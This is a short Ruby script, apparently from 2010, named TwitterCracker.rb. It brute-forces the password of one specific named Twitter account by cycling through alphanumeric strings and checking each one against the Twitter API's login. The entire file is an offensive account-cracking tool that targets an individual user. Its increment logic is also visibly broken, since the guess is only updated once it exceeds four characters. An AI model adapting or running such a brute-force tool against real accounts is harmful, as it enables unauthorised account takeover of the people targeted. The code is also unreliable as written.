TwitterCracker.rb

#!ruby19
# encoding: utf8
# author: rafael polo
# created_at 11.mar.2010
# updated_at 03.jul.2010

require 'rubygems'
require 'twitter'

OPTS = [('a'..'z'),('A'..'Z'),('0'..'9')].map{|n| n.to_a }.flatten

@user = 'huckluciano'

def isPasswd(passwd)
	begin
		conta = Twitter::Base.new(Twitter::HTTPAuth.new(@user, passwd)).verify_credentials	
	rescue Twitter::Unauthorized
		puts "Não é #{@current}"
		return false
	else
		puts "Senha: #{@current}"
		return true
    end
end

def crack
	current_array = @current.split(//)
	if current_array.all? {|o| o == OPTS.last}
		current_array = [OPTS.first]*(current_array.length+1)      
		else
		poped = []
		poped << current_array.pop while current_array.last == OPTS.last
		last = current_array.pop 
		current_array.push OPTS[OPTS.index(last)+1]
		current_array += ([OPTS.first]*poped.length)
	end
	@current = current_array.join if current_array.size > 4
end

puts "Iniciando..."
@current = OPTS.first
while !isPasswd(@current) do
	crack
end